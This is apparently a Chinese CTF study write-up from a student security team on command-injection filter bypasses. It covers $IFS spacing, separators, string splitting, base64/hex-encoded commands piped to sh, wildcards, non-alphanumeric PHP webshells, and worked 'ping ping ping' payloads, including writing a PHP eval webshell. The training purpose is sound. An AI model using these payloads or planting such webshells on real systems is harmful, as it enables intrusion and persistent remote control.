沙漏安全团队
欢迎真正热爱技术的你!
绕过姿势总结
空格绕过
常见的绕过符号有:$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、> $IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名, 加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用 ;为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。不仅 $9可以使用,我试了试其他的数字也都可以正确绕过。
命令分割符
%0a 换行符,需要php环境
%0d 回车符,需要php环境
; 在 shell 中,是”连续指令”,这个与下面的`|`作用类似
管道符:
&(就是按位与),&前面和后面命令都要执行,无论前面真假
&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
|(就是按位或),直接执行|后面的语句
||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
关键词过滤
当ls被过滤时:a=l;b=s;$a$b 当cat flag被过滤时:a=c;b=at;c=f;d=lag;$a$b ${c}${d} #cat test文件内容 a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test
编码绕过
#base64
echo Y2F0IC9mbGFn|base64 -d|bash ==>cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
echo Y2F0IGZsYWcucGhw|base64 -d|bash==>cat flag.php
echo Y2F0IGZsYWcucGhw|base64 -d|sh==>cat flag.php
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
#oct/字节
$(printf "154163") ==>ls
$(printf "x63x61x74x20x2fx66x6cx61x67") ==>cat /flag
{printf,"x63x61x74x20x2fx66x6cx61x67"}|$0 ==>cat /flag
#i也可以通过这种方式写马
内容为<?php @eval($_POST['c']);?>
${printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php
单引号双引号绕过
c'a't test
c"a"t test
反斜杠绕过
cat test
通配符绕过
[…]表示匹配方括号之中的任意一个字符 {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
cat t?st
cat te*
cat t[a-z]st
cat t{a,b,c,d,e,f}st
用>>追加命令写shell(字符限制,拼接换行)
那么我们试试直接写马:
要写post一句话的话也简单,先写入一个普通文件,然后cat写入php文件
用反斜杠拼接执行命令
的作用,它不仅仅可以转义字符,若在命令最后,可以起到拼接的作用.

这里注意一个问题,使用单引号的时候反斜杠会写进语句的里面,所以我们使用双引号,然后再$的前面加一个反斜杠转义,就行了。
通过$PATH绕过
#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成
#当执行程序时,shell自动跟据PATH变量的值去搜索该程序
#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会
再继续搜索
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
网络地址转化为数字地址
网络地址有另外一种表示形式,就是数字地址比如127.0.0.1可以转化为2130706433
可以直接访问
http://2130706433 或者
http://0x7F000001
这样就可以绕过.的ip过滤,在线转换网址:http://www.msxindl.com/tools/ip/ip_num.asp
无字母数字构造Webshell
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
//$hint = "php function getFlag() to get flag"
}
phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行
所以在php7的环境中,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入到题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的有^
和~
,这两种方法,
取反(~): 利用的是UTF-8编码的某个汉字,并将其中某个字符取出来, 比如:和的utf-8编码为xe5x92x8c,第三个字节和{2}的值为x8c,其取反值为-141,负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141 的 16 进制为 0xff73,php 中 chr(0xff73)==115,115 就是 s 的 ASCII 值。因此
<?php
highlight_file(__FILE__);
$_="和";
echo (~($_{2}));
echo (~"x8c"); //等同与上一句
?>
下面是生成方式,使用URL编码的原因是,在进行“~”运算时,经常会生成不可见字符。
$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo
?code=(~%8F%97%8F%96%91%99%90)();
$a = "getFlag";
echo urlencode(~$a);
%98%9A%8B%B9%93%9E%98 //getFlag
?code=(~%98%9A%8B%B9%93%9E%98)();
异或(^):
<?php
echo "A"^"?";
?>
代码对字符"A"和"?"进行了异或操作.PHP中异或时会将字符转化ASCII值在转成二进制,再进行异或.异或完反过来转化成字符
A的ASCII值为65,二进制则是01000001
?的ASCII转值为65,二进制是00111111
异或二进制结果结果为10000000,对应的字符就是~.
用脚本跑,查看谁和谁异或得到的结果是我们想要的:
if __name__ == "__main__":
for i in range(0,127):
for j in range(0,127):
result=i^j
if(chr(result) is '想要的字符'):
print(' '+chr(i)+' xor '+chr(j)+' == '+chr(result))
参考了学长的博客,哈哈哈哈又收集了一个脚本,真香!主要是我太菜了!加油冲冲冲!
var_dump('#'^'|'); //得到字符 _
var_dump('.'^'~'); //得到字符 P
var_dump('/'^'`'); //得到字符 0
var_dump('|'^'/'); //得到字符 S
var_dump('{'^'/'); //得到字符 T
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //变量$__值为字符串'_POST'
做题实践
下面来实践一下,看题:
题目链接:ping ping ping 解法一:
查看文件:发现flag.php和index.php
我们先来看index.php里边有什么:
空格被过滤了,下面进行绕过:?ip=127.0.0.1;cat$IFS$9index.php
flag、bash都被过滤了,不过sh没过滤:
payload:?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
Y2F0IGZsYWcucGhw
是cat flag.php的base64-encode
查看源码,找到flag:
解法二: 既然flag被过滤了,那么我们用字符串拼接的方式来试试能不能绕过:
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php
发现不行,那么将顺序颠倒一下:
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
成功 解法三: 内联执行:将反引号内命令的输出作为输入执行。payload: ?ip=127.0.0.1;cat$IFS$9`ls`
直接把两个文件里边的内容都爆出来了:
下面看这一题,命令执行——重定向:本题没有任何绕过,
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
解法一:
payload:?ip=;echo "<?php @eval($_POST['A']);?>" >>666.php
这个解题思路是写进一句话到666.php下,然后通过蚁剑找到根目录下的flag.php
使用蚁剑连接,使用方法这里就不多说了,在根目录下面找到flag.php了!!!
解法二: 通过post传参的形式,将flag.php重定向至自己命名的一个文件中。
这里我就是将flag.php写进qwer.txt中,
然后访问qwer.txt就直接显示出了flag。
参考博客:
酉酉囧
1emon~
平顶山学院· 沙漏安全团队
微信号|SLteam666
奋发努力|拼搏向上
本期编辑|bosounho
本文始发于微信公众号(网络安全攻防训练营):CTF—命令执行总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论